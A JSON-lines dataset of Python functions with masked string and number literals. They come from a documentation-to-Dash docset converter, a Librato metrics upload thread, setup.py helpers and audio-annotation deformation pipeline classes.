{"signature": "@click.command()<EOL>@click.argument(<EOL>\"<STR_LIT:source>\",<EOL>type=click.Path(<EOL>exists=True, file_okay=False, readable=True, resolve_path=True<EOL>),<EOL>)<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\", metavar=\"<STR_LIT>\")<EOL>@click.option(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>type=click.Path(),<EOL>default=\"<STR_LIT:.>\",<EOL>show_default=True,<EOL>help=\"<STR_LIT>\" \"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", type=click.File(\"<STR_LIT:rb>\"), help=\"<STR_LIT>\"<EOL>)<EOL>@click.option(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\",<EOL>type=click.Path(),<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(<EOL>click.format_filename(DEFAULT_DOCSET_PATH)<EOL>),<EOL>)<EOL>@click.option(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", is_flag=True, help=\"<STR_LIT>\"<EOL>)<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\", is_flag=True, help=\"<STR_LIT>\")<EOL>@click.option(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>default=None,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>@click.option(<EOL>\"<STR_LIT>\",<EOL>default=None,<EOL>type=IMPORTABLE,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>)<EOL>@click.version_option(version=__version__)<EOL>def main(<EOL>source,<EOL>force,<EOL>name,<EOL>quiet,<EOL>verbose,<EOL>destination,<EOL>add_to_dash,<EOL>add_to_global,<EOL>icon,<EOL>index_page,<EOL>enable_js,<EOL>online_redirect_url,<EOL>parser,<EOL>):", "body": "try:<EOL><INDENT>logging.config.dictConfig(<EOL>create_log_config(verbose=verbose, quiet=quiet)<EOL>)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>click.secho(e.args[<NUM_LIT:0>], fg=\"<STR_LIT>\")<EOL>raise SystemExit(<NUM_LIT:1>)<EOL><DEDENT>if icon:<EOL><INDENT>icon_data = icon.read()<EOL>if not icon_data.startswith(PNG_HEADER):<EOL><INDENT>log.error(<EOL>'<STR_LIT>'.format(<EOL>click.format_filename(icon.name)<EOL>)<EOL>)<EOL>raise SystemExit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>icon_data = None<EOL><DEDENT>source, dest, name = setup_paths(<EOL>source,<EOL>destination,<EOL>name=name,<EOL>add_to_global=add_to_global,<EOL>force=force,<EOL>)<EOL>if parser is None:<EOL><INDENT>parser = parsers.get_doctype(source)<EOL>if parser is None:<EOL><INDENT>log.error(<EOL>'<STR_LIT>'.format(<EOL>click.format_filename(source)<EOL>)<EOL>)<EOL>raise SystemExit(errno.EINVAL)<EOL><DEDENT><DEDENT>docset = prepare_docset(<EOL>source, dest, name, index_page, enable_js, online_redirect_url<EOL>)<EOL>doc_parser = parser(doc_path=docset.docs)<EOL>log.info(<EOL>(<EOL>\"<STR_LIT>\"<EOL>+ click.style(\"<STR_LIT>\", bold=True)<EOL>+ '<STR_LIT>'<EOL>).format(<EOL>parser_name=parser.name,<EOL>src=click.format_filename(source, shorten=True),<EOL>dst=click.format_filename(dest),<EOL>)<EOL>)<EOL>with docset.db_conn:<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL>toc = patch_anchors(doc_parser, show_progressbar=not quiet)<EOL>for entry in doc_parser.parse():<EOL><INDENT>docset.db_conn.execute(<EOL>\"<STR_LIT>\",<EOL>entry.as_tuple(),<EOL>)<EOL>toc.send(entry)<EOL><DEDENT>count = docset.db_conn.execute(<EOL>\"<STR_LIT>\"<EOL>).fetchone()[<NUM_LIT:0>]<EOL>log.info(<EOL>(<EOL>\"<STR_LIT>\"<EOL>+ click.style(\"<STR_LIT>\", fg=\"<STR_LIT>\" if count > <NUM_LIT:0> else \"<STR_LIT>\")<EOL>+ \"<STR_LIT>\"<EOL>).format(count=count)<EOL>)<EOL>toc.close()<EOL><DEDENT>if icon_data:<EOL><INDENT>add_icon(icon_data, dest)<EOL><DEDENT>if add_to_dash or add_to_global:<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL>os.system('<STR_LIT>'.format(dest))<EOL><DEDENT>", "docstring": "Convert docs from SOURCE to Dash.app's docset format.", "id": "f5828:m0"}
{"signature": "def create_log_config(verbose, quiet):", "body": "if verbose and quiet:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>elif verbose:<EOL><INDENT>level = logging.DEBUG<EOL><DEDENT>elif quiet:<EOL><INDENT>level = logging.ERROR<EOL><DEDENT>else:<EOL><INDENT>level = logging.INFO<EOL><DEDENT>logger_cfg = {\"<STR_LIT>\": [\"<STR_LIT>\"], \"<STR_LIT>\": level}<EOL>return {<EOL>\"<STR_LIT:version>\": <NUM_LIT:1>,<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": {\"<STR_LIT>\": \"<STR_LIT>\"}},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": level,<EOL>\"<STR_LIT:class>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>}<EOL>},<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": logger_cfg, \"<STR_LIT:__main__>\": logger_cfg},<EOL>}<EOL>", "docstring": "We use logging's levels as an easy-to-use verbosity controller.", "id": "f5828:m1"}
{"signature": "def setup_paths(source, destination, name, add_to_global, force):", "body": "if source[-<NUM_LIT:1>] == \"<STR_LIT:/>\":<EOL><INDENT>source = source[:-<NUM_LIT:1>]<EOL><DEDENT>if not name:<EOL><INDENT>name = os.path.split(source)[-<NUM_LIT:1>]<EOL><DEDENT>elif name.endswith(\"<STR_LIT>\"):<EOL><INDENT>name = name.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>if add_to_global:<EOL><INDENT>destination = DEFAULT_DOCSET_PATH<EOL><DEDENT>dest = os.path.join(destination or \"<STR_LIT>\", name + \"<STR_LIT>\")<EOL>dst_exists = os.path.lexists(dest)<EOL>if dst_exists and force:<EOL><INDENT>shutil.rmtree(dest)<EOL><DEDENT>elif dst_exists:<EOL><INDENT>log.error(<EOL>'<STR_LIT>'.format(<EOL>click.format_filename(dest)<EOL>)<EOL>)<EOL>raise SystemExit(errno.EEXIST)<EOL><DEDENT>return source, dest, name<EOL>", "docstring": "Determine source and destination using the options.", "id": "f5828:m2"}
{"signature": "def prepare_docset(<EOL>source, dest, name, index_page, enable_js, online_redirect_url<EOL>):", "body": "resources = os.path.join(dest, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>docs = os.path.join(resources, \"<STR_LIT>\")<EOL>os.makedirs(resources)<EOL>db_conn = sqlite3.connect(os.path.join(resources, \"<STR_LIT>\"))<EOL>db_conn.row_factory = sqlite3.Row<EOL>db_conn.execute(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>db_conn.commit()<EOL>plist_path = os.path.join(dest, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>plist_cfg = {<EOL>\"<STR_LIT>\": name,<EOL>\"<STR_LIT>\": name,<EOL>\"<STR_LIT>\": name.lower(),<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": enable_js,<EOL>}<EOL>if index_page is not None:<EOL><INDENT>plist_cfg[\"<STR_LIT>\"] = index_page<EOL><DEDENT>if online_redirect_url is not None:<EOL><INDENT>plist_cfg[\"<STR_LIT>\"] = online_redirect_url<EOL><DEDENT>write_plist(plist_cfg, plist_path)<EOL>shutil.copytree(source, docs)<EOL>return DocSet(path=dest, docs=docs, plist=plist_path, db_conn=db_conn)<EOL>", "docstring": "Create boilerplate files & directories and copy vanilla docs inside.\n\nReturn a tuple of path to resources and connection to sqlite db.", "id": "f5828:m3"}
{"signature": "def add_icon(icon_data, dest):", "body": "with open(os.path.join(dest, \"<STR_LIT>\"), \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(icon_data)<EOL><DEDENT>", "docstring": "Add icon to docset", "id": "f5828:m4"}
{"signature": "def parse(self):", "body": "soup = BeautifulSoup(<EOL>codecs.open(<EOL>os.path.join(self.doc_path, \"<STR_LIT>\"),<EOL>mode=\"<STR_LIT:r>\",<EOL>encoding=\"<STR_LIT:utf-8>\",<EOL>),<EOL>\"<STR_LIT>\",<EOL>)<EOL>for tag in soup.body.find_all(\"<STR_LIT:a>\"):<EOL><INDENT>path = tag.get(\"<STR_LIT>\")<EOL>data_type = tag.get(\"<STR_LIT>\")<EOL>if path and data_type and not path.startswith(\"<STR_LIT:#>\"):<EOL><INDENT>name = tag.string<EOL>yield ParserEntry(<EOL>name=name,<EOL>type=data_type.replace(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>path=str(path),<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Parse pydoctor docs at *doc_path*.\n\nyield `ParserEntry`s", "id": "f5830:c0:m1"}
{"signature": "def find_and_patch_entry(soup, entry):", "body": "link = soup.find(\"<STR_LIT:a>\", {\"<STR_LIT:class>\": \"<STR_LIT>\"}, href=\"<STR_LIT:#>\" + entry.anchor)<EOL>tag = soup.new_tag(\"<STR_LIT:a>\")<EOL>tag[\"<STR_LIT:name>\"] = APPLE_REF_TEMPLATE.format(entry.type, entry.name)<EOL>if link:<EOL><INDENT>link.parent.insert(<NUM_LIT:0>, tag)<EOL>return True<EOL><DEDENT>elif entry.anchor.startswith(\"<STR_LIT>\"):<EOL><INDENT>soup.h1.parent.insert(<NUM_LIT:0>, tag)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Modify soup so Dash.app can generate TOCs on the fly.", "id": "f5831:m0"}
{"signature": "def inv_entry_to_path(data):", "body": "path_tuple = data[<NUM_LIT:2>].split(\"<STR_LIT:#>\")<EOL>if len(path_tuple) > <NUM_LIT:1>:<EOL><INDENT>path_str = \"<STR_LIT:#>\".join((path_tuple[<NUM_LIT:0>], path_tuple[-<NUM_LIT:1>]))<EOL><DEDENT>else:<EOL><INDENT>path_str = data[<NUM_LIT:2>]<EOL><DEDENT>return path_str<EOL>", "docstring": "Determine the path from the intersphinx inventory entry\n\nDiscard the anchors between head and tail to make it\ncompatible with situations where extra meta information is encoded.", "id": "f5831:m1"}
{"signature": "def parse(self):", "body": "with open(os.path.join(self.doc_path, \"<STR_LIT>\"), \"<STR_LIT:rb>\") as inv_f:<EOL><INDENT>yield from self._inv_to_entries(<EOL>InventoryFile.load(inv_f, \"<STR_LIT>\", os.path.join)<EOL>)<EOL><DEDENT>", "docstring": "Parse sphinx docs at self.doc_path.\n\nyield `ParserEntry`s.", "id": "f5831:c0:m1"}
{"signature": "def _inv_to_entries(self, inv):", "body": "for type_key, inv_entries in inv.items():<EOL><INDENT>dash_type = self.convert_type(type_key)<EOL>if dash_type is None:<EOL><INDENT>continue<EOL><DEDENT>for key, data in inv_entries.items():<EOL><INDENT>entry = self.create_entry(dash_type, key, data)<EOL>if entry is not None:<EOL><INDENT>yield entry<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Iterate over a dictionary as returned from Sphinx's object.inv parser\nand yield `ParserEntry`s.", "id": "f5831:c0:m2"}
{"signature": "def convert_type(self, inv_type):", "body": "try:<EOL><INDENT>return INV_TO_TYPE[inv_type.split(\"<STR_LIT::>\")[-<NUM_LIT:1>]]<EOL><DEDENT>except KeyError:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Map an intersphinx type to a Dash type.\n\nReturns a Dash type string, or None to not construct entries.", "id": "f5831:c0:m3"}
{"signature": "def create_entry(self, dash_type, key, inv_entry):", "body": "path_str = inv_entry_to_path(inv_entry)<EOL>return ParserEntry(name=key, type=dash_type, path=path_str)<EOL>", "docstring": "Create a ParserEntry (or None) given inventory details\n\nParameters are the dash type, intersphinx inventory key and data tuple", "id": "f5831:c0:m4"}
{"signature": "def get_doctype(path):", "body": "for dt in DOCTYPES:<EOL><INDENT>if dt.detect(path):<EOL><INDENT>return dt<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Gets the apropriate doctype for *path*.", "id": "f5833:m0"}
{"signature": "@coroutine<EOL>def patch_anchors(parser, show_progressbar):", "body": "files = defaultdict(list)<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>pentry = (yield)<EOL>try:<EOL><INDENT>fname, anchor = pentry.path.split(\"<STR_LIT:#>\")<EOL>files[fname].append(<EOL>TOCEntry(name=pentry.name, type=pentry.type, anchor=anchor)<EOL>)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>except GeneratorExit:<EOL><INDENT>pass<EOL><DEDENT>def patch_files(files):<EOL><INDENT>for fname, entries in files:<EOL><INDENT>full_path = os.path.join(parser.doc_path, fname)<EOL>with codecs.open(full_path, mode=\"<STR_LIT:r>\", encoding=\"<STR_LIT:utf-8>\") as fp:<EOL><INDENT>soup = BeautifulSoup(fp, \"<STR_LIT>\")<EOL>for entry in entries:<EOL><INDENT>if not parser.find_and_patch_entry(soup, entry):<EOL><INDENT>log.debug(<EOL>\"<STR_LIT>\".format(<EOL>entry.anchor, click.format_filename(fname)<EOL>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>with open(full_path, mode=\"<STR_LIT:wb>\") as fp:<EOL><INDENT>fp.write(soup.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT><DEDENT><DEDENT>if show_progressbar is True:<EOL><INDENT>with click.progressbar(<EOL>files.items(),<EOL>width=<NUM_LIT:0>,<EOL>length=len(files),<EOL>label=\"<STR_LIT>\",<EOL>) as pbar:<EOL><INDENT>patch_files(pbar)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>patch_files(files.items())<EOL><DEDENT>", "docstring": "Consume ``ParseEntry``s then patch docs for TOCs by calling\n*parser*'s ``find_and_patch_entry``.", "id": "f5834:m1"}
{"signature": "def has_file_with(path, filename, content):", "body": "try:<EOL><INDENT>with open(os.path.join(path, filename), \"<STR_LIT:rb>\") as f:<EOL><INDENT>return content in f.read()<EOL><DEDENT><DEDENT>except IOError as e:<EOL><INDENT>if e.errno == errno.ENOENT:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Check whether *filename* in *path* contains the string *content*.", "id": "f5834:m2"}
{"signature": "def detect(path: str) -> bool:", "body": "", "docstring": "A static method that returns whether *path* can be parsed by us.", "id": "f5834:c1:m0"}
{"signature": "def parse() -> None:", "body": "", "docstring": "Parse `self.doc_path`, yield a :class:`ParserEntry` for each found\nentry.", "id": "f5834:c1:m1"}
{"signature": "def find_and_patch_entry(soup: BeautifulSoup, entry: TOCEntry) -> None:", "body": "", "docstring": "Modify *soup* so Dash.app can generate TOCs on the fly.\n\n:param soup: A soup to patch.\n:type soup: bs4.BeautifulSoup\n:param entry: A table of contens entry that has to be patched.\n:type entry: TOCEntry", "id": "f5834:c1:m2"}
{"signature": "def as_tuple(self):", "body": "return self.name, self.type, self.path<EOL>", "docstring": "Return a tuple of the data for SQL generation.", "id": "f5834:c2:m0"}
{"signature": "def find_meta(meta: str) -> str:", "body": "meta_match = re.search(<EOL>r\"<STR_LIT>\" % (meta,), META_FILE, re.M<EOL>)<EOL>if meta_match:<EOL><INDENT>return meta_match.group(<NUM_LIT:1>)<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\" % (meta,))<EOL>", "docstring": "Extract __*meta*__ from META_FILE.", "id": "f5835:m1"}
{"signature": "def read(*parts):", "body": "here = os.path.abspath(os.path.dirname(__file__))<EOL>with codecs.open(os.path.join(here, *parts), \"<STR_LIT:rb>\", \"<STR_LIT:utf-8>\") as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Build an absolute path from *parts* and and return the contents of the\nresulting file.  Assume UTF-8 encoding.", "id": "f5836:m0"}
{"signature": "def find_version(*file_paths):", "body": "version_file = read(*file_paths)<EOL>version_match = re.search(<EOL>r\"<STR_LIT>\", version_file, re.M<EOL>)<EOL>if version_match:<EOL><INDENT>return version_match.group(<NUM_LIT:1>)<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\")<EOL>", "docstring": "Build a path from *file_paths* and search for a ``__version__``\nstring inside.", "id": "f5836:m1"}
{"signature": "def __init__(self, user, token, queue, upload_size=<NUM_LIT:100>, on_error=None):", "body": "Thread.__init__(self)<EOL>self.api = librato.connect(user, token)<EOL>self.daemon = True  <EOL>self.upload_size = upload_size<EOL>self.on_error = on_error<EOL>self.queue = queue<EOL>self.retries = <NUM_LIT:3><EOL>", "docstring": "Create a consumer thread.", "id": "f5838:c0:m0"}
{"signature": "def run(self):", "body": "self.log.debug('<STR_LIT>')<EOL>self.running = True<EOL>while self.running:<EOL><INDENT>self.upload()<EOL><DEDENT>self.log.debug('<STR_LIT>')<EOL>", "docstring": "Runs the consumer.", "id": "f5838:c0:m1"}
{"signature": "def pause(self):", "body": "self.running = False<EOL>", "docstring": "Pause the consumer.", "id": "f5838:c0:m2"}
{"signature": "def upload(self):", "body": "success = False<EOL>batch = self.next()<EOL>if len(batch) == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>try:<EOL><INDENT>self.request(batch)<EOL>success = True<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.log.error('<STR_LIT>', e)<EOL>success = False<EOL>if self.on_error:<EOL><INDENT>self.on_error(e, batch)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>for item in batch:<EOL><INDENT>self.queue.task_done()<EOL><DEDENT>return success<EOL><DEDENT>", "docstring": "Upload the next batch of items, return whether successful.", "id": "f5838:c0:m3"}
{"signature": "def next(self):", "body": "queue = self.queue<EOL>items = []<EOL>item = self.next_item()<EOL>if item is None:<EOL><INDENT>return items<EOL><DEDENT>items.append(item)<EOL>while len(items) < self.upload_size and not queue.empty():<EOL><INDENT>item = self.next_item()<EOL>if item:<EOL><INDENT>items.append(item)<EOL><DEDENT><DEDENT>return items<EOL>", "docstring": "Return the next batch of items to upload.", "id": "f5838:c0:m4"}
{"signature": "def next_item(self):", "body": "queue = self.queue<EOL>try:<EOL><INDENT>item = queue.get(block=True, timeout=<NUM_LIT:5>)<EOL>return item<EOL><DEDENT>except Exception:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get a single item from the queue.", "id": "f5838:c0:m5"}
{"signature": "def request(self, batch, attempt=<NUM_LIT:0>):", "body": "try:<EOL><INDENT>q = self.api.new_queue()<EOL>for msg in batch:<EOL><INDENT>q.add(msg['<STR_LIT>'], msg['<STR_LIT:value>'], source=msg['<STR_LIT:source>'])<EOL><DEDENT>q.submit()<EOL><DEDENT>except:<EOL><INDENT>if attempt > self.retries:<EOL><INDENT>raise<EOL><DEDENT>self.request(batch, attempt+<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Attempt to upload the batch and retry before raising an error", "id": "f5838:c0:m6"}
{"signature": "def require(name, field, data_type):", "body": "if not isinstance(field, data_type):<EOL><INDENT>msg = '<STR_LIT>'.format(name, data_type, field)<EOL>raise AssertionError(msg)<EOL><DEDENT>", "docstring": "Require that the named `field` has the right `data_type`", "id": "f5839:m0"}
{"signature": "def _enqueue(self, msg):", "body": "self.log.debug('<STR_LIT>', msg)<EOL>if self.queue.full():<EOL><INDENT>self.log.warn('<STR_LIT>')<EOL>return False, msg<EOL><DEDENT>self.queue.put(msg)<EOL>self.log.debug('<STR_LIT>', msg)<EOL>return True, msg<EOL>", "docstring": "Push a new `msg` onto the queue, return `(success, msg)`", "id": "f5839:c0:m2"}
{"signature": "def flush(self):", "body": "queue = self.queue<EOL>size = queue.qsize()<EOL>queue.join()<EOL>self.log.debug('<STR_LIT>', size)<EOL>", "docstring": "Forces a flush from the internal queue to the server", "id": "f5839:c0:m3"}
{"signature": "def join(self):", "body": "self.consumer.pause()<EOL>self.consumer.join()<EOL>", "docstring": "Ends the consumer thread once the queue is empty. Blocks execution until finished", "id": "f5839:c0:m4"}
{"signature": "def _is_requirement(line):", "body": "line = line.strip()<EOL>return line and not (line.startswith(\"<STR_LIT>\") or line.startswith(\"<STR_LIT:#>\"))<EOL>", "docstring": "Returns whether the line is a valid package requirement.", "id": "f5841:m0"}
{"signature": "def _read_requirements(filename):", "body": "requirements_file = open(filename).read()<EOL>return [line.strip() for line in requirements_file.splitlines()<EOL>if _is_requirement(line)]<EOL>", "docstring": "Returns a list of package requirements read from the file.", "id": "f5841:m1"}
{"signature": "def get_version(relpath):", "body": "from os.path import dirname, join<EOL>if '<STR_LIT>' not in globals():<EOL><INDENT>root = '<STR_LIT:.>'<EOL><DEDENT>else:<EOL><INDENT>root = dirname(__file__)<EOL><DEDENT>for line in open(join(root, relpath), '<STR_LIT:rb>'):<EOL><INDENT>line = line.decode('<STR_LIT>')<EOL>if '<STR_LIT>' in line:<EOL><INDENT>if '<STR_LIT:\">' in line:<EOL><INDENT>return line.split('<STR_LIT:\">')[<NUM_LIT:1>]<EOL><DEDENT>elif \"<STR_LIT:'>\" in line:<EOL><INDENT>return line.split(\"<STR_LIT:'>\")[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Read version info from a file without importing it", "id": "f5841:m2"}
{"signature": "def ap_(a, b, msg=None, rtol=<NUM_LIT>, atol=<NUM_LIT>):", "body": "if not np.allclose(a, b, rtol=rtol, atol=atol):<EOL><INDENT>raise AssertionError(msg or \"<STR_LIT>\".format(a, b))<EOL><DEDENT>", "docstring": "Shorthand for 'assert np.allclose(a, b, rtol, atol), \"%r != %r\" % (a, b)", "id": "f5842:m0"}
{"signature": "def _pprint(params, offset=<NUM_LIT:0>, printer=repr):", "body": "<EOL>options = np.get_printoptions()<EOL>np.set_printoptions(precision=<NUM_LIT:5>, threshold=<NUM_LIT:64>, edgeitems=<NUM_LIT:2>)<EOL>params_list = list()<EOL>this_line_length = offset<EOL>line_sep = '<STR_LIT>' + (<NUM_LIT:1> + offset // <NUM_LIT:2>) * '<STR_LIT:U+0020>'<EOL>for i, (k, v) in enumerate(sorted(six.iteritems(params))):<EOL><INDENT>if type(v) is float:<EOL><INDENT>this_repr = '<STR_LIT>' % (k, str(v))<EOL><DEDENT>else:<EOL><INDENT>this_repr = '<STR_LIT>' % (k, printer(v))<EOL><DEDENT>if len(this_repr) > <NUM_LIT>:<EOL><INDENT>this_repr = this_repr[:<NUM_LIT>] + '<STR_LIT>' + this_repr[-<NUM_LIT:100>:]<EOL><DEDENT>if i > <NUM_LIT:0>:<EOL><INDENT>if (this_line_length + len(this_repr) >= <NUM_LIT> or '<STR_LIT:\\n>' in this_repr):<EOL><INDENT>params_list.append(line_sep)<EOL>this_line_length = len(line_sep)<EOL><DEDENT>else:<EOL><INDENT>params_list.append('<STR_LIT:U+002CU+0020>')<EOL>this_line_length += <NUM_LIT:2><EOL><DEDENT><DEDENT>params_list.append(this_repr)<EOL>this_line_length += len(this_repr)<EOL><DEDENT>np.set_printoptions(**options)<EOL>lines = '<STR_LIT>'.join(params_list)<EOL>lines = '<STR_LIT:\\n>'.join(l.rstrip('<STR_LIT:U+0020>') for l in lines.split('<STR_LIT:\\n>'))<EOL>return lines<EOL>", "docstring": "Pretty print the dictionary 'params'\n\n    Parameters\n    ----------\n    params: dict\n        The dictionary to pretty print\n\n    offset: int\n        The offset in characters to add at the begin of each line.\n\n    printer:\n        The function to convert entries to strings, typically\n        the builtin str or repr", "id": "f5846:m0"}
{"signature": "@classmethod<EOL><INDENT>def _get_param_names(cls):<DEDENT>", "body": "init = cls.__init__<EOL>args, varargs = inspect.getargspec(init)[:<NUM_LIT:2>]<EOL>if varargs is not None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>args.pop(<NUM_LIT:0>)<EOL>args.sort()<EOL>return args<EOL>", "docstring": "Get the list of parameter names for the object", "id": "f5846:c0:m0"}
{"signature": "def get_params(self, deep=True):", "body": "out = dict(__class__=self.__class__,<EOL>params=dict())<EOL>for key in self._get_param_names():<EOL><INDENT>value = getattr(self, key, None)<EOL>if deep and hasattr(value, '<STR_LIT>'):<EOL><INDENT>deep_items = value.get_params().items()<EOL>out['<STR_LIT>'][key] = dict(__class__=value.__class__)<EOL>out['<STR_LIT>'][key].update((k, val) for k, val in deep_items)<EOL><DEDENT>else:<EOL><INDENT>out['<STR_LIT>'][key] = value<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Get the parameters for this object.  Returns as a dict.\n\n        Parameters\n        ----------\n        deep : bool\n            Recurse on nested objects\n\n        Returns\n        -------\n        params : dict\n            A dictionary containing all parameters for this object", "id": "f5846:c0:m1"}
{"signature": "def __repr__(self):", "body": "class_name = self.__class__.__name__<EOL>return '<STR_LIT>'.format(class_name,<EOL>_pprint(self.get_params(deep=False)['<STR_LIT>'],<EOL>offset=len(class_name),),)<EOL>", "docstring": "Pretty-print this object", "id": "f5846:c0:m2"}
{"signature": "def _transform(self, jam, state):", "body": "if not hasattr(jam.sandbox, '<STR_LIT>'):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>jam_w = copy.deepcopy(jam)<EOL>jam_w.sandbox.muda['<STR_LIT>'].append({'<STR_LIT>': self.__serialize__,<EOL>'<STR_LIT:state>': state})<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.audio(jam_w.sandbox.muda, state)<EOL><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.metadata(jam_w.file_metadata, state)<EOL><DEDENT>for query, function_name in six.iteritems(self.dispatch):<EOL><INDENT>function = getattr(self, function_name)<EOL>for matched_annotation in jam_w.search(namespace=query):<EOL><INDENT>function(matched_annotation, state)<EOL><DEDENT><DEDENT>return jam_w<EOL>", "docstring": "Apply the transformation to audio and annotations.\n\n        The input jam is copied and modified, and returned\n        contained in a list.\n\n        Parameters\n        ----------\n        jam : jams.JAMS\n            A single jam object to modify\n\n        Returns\n        -------\n        jam_list : list\n            A length-1 list containing `jam` after transformation\n\n        See also\n        --------\n        core.load_jam_audio", "id": "f5846:c0:m6"}
{"signature": "def transform(self, jam):", "body": "for state in self.states(jam):<EOL><INDENT>yield self._transform(jam, state)<EOL><DEDENT>", "docstring": "Iterative transformation generator\n\n        Applies the deformation to an input jams object.\n\n        This generates a sequence of deformed output JAMS.\n\n        Parameters\n        ----------\n        jam : jams.JAMS\n            The jam to transform\n\n        Examples\n        --------\n        >>> for jam_out in deformer.transform(jam_in):\n        ...     process(jam_out)", "id": "f5846:c0:m7"}
{"signature": "@property<EOL><INDENT>def __serialize__(self):<DEDENT>", "body": "data = self.get_params()<EOL>data['<STR_LIT>'] = data['<STR_LIT>'].__name__<EOL>return data<EOL>", "docstring": "Serializer", "id": "f5846:c0:m8"}
{"signature": "def get_params(self):", "body": "out = {}<EOL>out['<STR_LIT>'] = self.__class__<EOL>out['<STR_LIT>'] = dict(steps=[])<EOL>for name, step in self.steps:<EOL><INDENT>out['<STR_LIT>']['<STR_LIT>'].append([name, step.get_params(deep=True)])<EOL><DEDENT>return out<EOL>", "docstring": "Get the parameters for this object.  Returns as a dict.", "id": "f5846:c1:m1"}
{"signature": "def __repr__(self):", "body": "class_name = self.__class__.__name__<EOL>return '<STR_LIT>'.format(class_name,<EOL>_pprint(self.get_params(),<EOL>offset=len(class_name),),)<EOL>", "docstring": "Pretty-print the object", "id": "f5846:c1:m2"}
{"signature": "def __recursive_transform(self, jam, steps):", "body": "if len(steps) > <NUM_LIT:0>:<EOL><INDENT>head_transformer = steps[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>for t_jam in head_transformer.transform(jam):<EOL><INDENT>for q in self.__recursive_transform(t_jam, steps[<NUM_LIT:1>:]):<EOL><INDENT>yield q<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>yield jam<EOL><DEDENT>", "docstring": "A recursive transformation pipeline", "id": "f5846:c1:m3"}
{"signature": "def transform(self, jam):", "body": "for output in self.__recursive_transform(jam, self.steps):<EOL><INDENT>yield output<EOL><DEDENT>", "docstring": "Apply the sequence of transformations to a single jam object.\n\n        Parameters\n        ----------\n        jam : jams.JAMS\n            The jam object to transform\n\n        Yields\n        ------\n        jam_out : jams.JAMS\n            The jam objects produced by the transformation sequence", "id": "f5846:c1:m4"}
{"signature": "def get_params(self):", "body": "out = {}<EOL>out['<STR_LIT>'] = self.__class__<EOL>out['<STR_LIT>'] = dict(steps=[])<EOL>for name, step in self.steps:<EOL><INDENT>out['<STR_LIT>']['<STR_LIT>'].append([name, step.get_params(deep=True)])<EOL><DEDENT>return out<EOL>", "docstring": "Get the parameters for this object.  Returns as a dict.", "id": "f5846:c2:m1"}
